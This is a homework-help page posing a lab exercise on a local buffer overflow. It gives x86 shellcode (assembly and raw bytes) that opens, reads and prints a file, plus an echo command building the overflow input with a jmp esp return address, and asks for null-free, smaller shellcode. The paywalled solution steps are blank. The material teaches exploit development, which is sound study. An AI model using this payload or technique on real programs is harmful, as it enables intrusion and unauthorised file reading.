Question: Please modify the shellcode below. Remove any null bytes (0x00) Remove any newline bytes (0x0a) Reduce the size as much as possible Must include: -

Please modify the shellcode below. Remove any null bytes (0x00) Remove any newline bytes (0x0a) Reduce the size as much as possible

Must include:

- Modified shellcode (both raw bytes and assembly instructions). - A brief description. Your shellcode size, and what techniques you used to make it so. - A screenshot proving that it works.

Shellcode:

; [16 bytes buffer] [4 bytes ebp] [4 bytes return] [... bytes shellcode]

; jmp esp @ 0x08048526 (\x26\x85\x040x08)

; filename @ 0x08049b12 (0x08049af4 + 30)

; echo -en "AAAAAAAAAAAAAAAABBBB\x26\x85\x04\x08\xB8\x05\x00\x00\x00\xBB\x12\x9B\x04\x08\xB9\x00\x00\x00\x00\xBA\x00\x00\x00\x00\xCD\x80\x89\xC3\xB8\x03\x00\x00\x00\xB9\x12\x9B\x04\x08\xBA\x1E\x00\x00\x00\xCD\x80\xB8\x04\x00\x00\x00\xBB\x01\x00\x00\x00\xB9\x12\x9B\x04\x08\xBA\x1E\x00\x00\x00\xCD\x80" > input

; /usr/local/bin/bof < input

; Currently this shellcode is 63 bytes, and contains NULLs (0x00).

; sys_open file

mov eax, 5

mov ebx, 0x08049b12

mov ecx, 0

mov edx, 0

int 0x80

; sys_read from file into memory

mov ebx, eax

mov eax, 3

mov ecx, 0x08049b12

mov edx, 99

int 0x80

; sys_write memory to terminal

mov eax, 4

mov ebx, 1

mov ecx, 0x08049b12

mov edx, 99

int 0x80

Step by Step Solution

There are 3 Steps involved in it

1 Expert Approved Answer
Step: 1 Unlock blur-text-image
Question Has Been Solved by an Expert!

Get step-by-step solutions from verified subject matter experts

Step: 2 Unlock
Step: 3 Unlock

Students Have Also Explored These Related Databases Questions!